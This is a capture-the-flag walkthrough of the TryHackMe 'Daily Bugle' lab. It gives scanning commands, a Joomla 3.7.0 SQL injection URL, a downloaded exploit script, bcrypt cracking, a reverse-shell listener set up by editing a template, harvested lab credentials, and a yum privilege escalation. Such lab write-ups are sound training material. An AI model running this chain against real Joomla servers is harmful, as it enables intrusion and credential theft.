← CTF archive

· Earliest timestamped screenshot

[TryHackMe] Daily Bugle

export machine="10.10.16.243"
nmap -sV -sC -T4 -p- $machine|tee nmap.txt
nmap $machine
rustscan -a $machine

Screenshot

nmap -p 80 -sV -sC $machine
nmap -p 22 -sV -sC $machine
nmap -p 3306 -sV -sC $machine

Web scan

Screenshot

SSH scan

Screenshot

MySQL scan

Screenshot

Web enumeration

robots.txt

User-agent: *
Disallow: /administrator/
Disallow: /bin/ - ?
Disallow: /cache/ - 
Disallow: /cli/ - 
Disallow: /components/ - 
Disallow: /includes/ - 
Disallow: /installation/ -> 404
Disallow: /language/ - 
Disallow: /layouts/ - 
Disallow: /libraries/ -
Disallow: /logs/ -> 404
Disallow: /modules/ - 
Disallow: /plugins/ - 
Disallow: /tmp/ -

# Gobuster :
/images
/templates
/media

users.txt

Super User

Directories

feroxbuster --url http://10.10.16.243 -e

Screenshot

–> http://10.10.16.243/language/en-GB/en-GB.xml

Searching for how to check the Joomla version:

Screenshot

Joomla 3.7.0

–> /administrator

Screenshot

Exploitation

searchsploit Joomla 3.7.0

Screenshot

SQL injection

searchsploit -m php/webapps/42033.txt
cat 42033.txt

URL Vulnerable:

http://10.10.16.243/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

Screenshot

Python SQL injection exploit

Looking for a Python script for this vulnerability.

Searching for CVE-2017-8917 github:

wget https://raw.githubusercontent.com/Siopy/CVE-2017-8917/main/CVE-2017-8917.py

Screenshot

Extracted data

Screenshot

Password cracking

$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

The local hash identifier does not work.

Online hash identifier

https://hashes.com/en/tools/hash_identifier

Screenshot

Hashid

Screenshot

John

john hash.txt --wordlist=/usr/share/dict/rockyou.txt --format=bcrypt

Screenshot

Screenshot

Password

spiderman123

Credentials

jonah:spiderman123

SSH rejects these credentials. The web application accepts these credentials.

Screenshot

Joomla Super User access

Reverse shell

–> /administrator

Screenshot

Screenshot

The template list shows Beez3. We can edit its files.

Screenshot

Editing and saving index.php in the default theme:

Screenshot

sudo ncat -lvnp 8080

Trigger /index.php

Screenshot

Apache user access

Screenshot

Screenshot

configuration.php

public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'root';
public $password = 'nv5uz9r3ZEDzVjNu';

public $db = 'joomla';
public $dbprefix = 'fb9j5_';
public $live_site = '';
public $secret = 'UAMBRWzHO3oFPmVC';

MySQL server

mysql -u root -h 10.10.89.80

nv5uz9r3ZEDzVjNu

Screenshot

User list

jonah
root
jjameson

Password list

spiderman123
nv5uz9r3ZEDzVjNu
UAMBRWzHO3oFPmVC

SSH brute force

Screenshot

jjameson:nv5uz9r3ZEDzVjNu

Access as jjameson

ssh jjameson@10.10.89.80
nv5uz9r3ZEDzVjNu

Screenshot

Screenshot

Privilege escalation

Screenshot

https://gtfobins.github.io/gtfobins/yum/

Copying and pasting each part:

Screenshot

Screenshot

Screenshot

Screenshot

Root access

Screenshot